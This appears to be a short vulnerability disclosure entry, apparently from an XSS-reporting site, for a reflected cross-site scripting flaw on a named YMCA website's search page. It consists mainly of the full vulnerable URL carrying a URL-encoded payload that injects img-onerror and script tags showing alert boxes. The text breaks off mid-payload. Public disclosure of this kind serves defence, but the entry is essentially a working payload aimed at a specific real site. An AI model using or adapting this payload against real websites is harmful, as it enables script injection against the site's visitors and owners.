oldcolonyymca.org XSS vulnerability

Vulnerable URL: http://www.oldcolonyymca.org/middleboro/search?keys=%27%3E%22%3E%3Cimg+src%3Dx+onerror%3Dalert%28String.fromCharCode%2888%2C83%2C83%2C80%2C79%2C83%2C69%2C68%29%29%3E%3Cimg+src%3Dx+onerror%3Dalert%28%27XSSPOSED%27%29%3E%3Cscript%3Ealert%28%27X Details: Description| Value ---|---...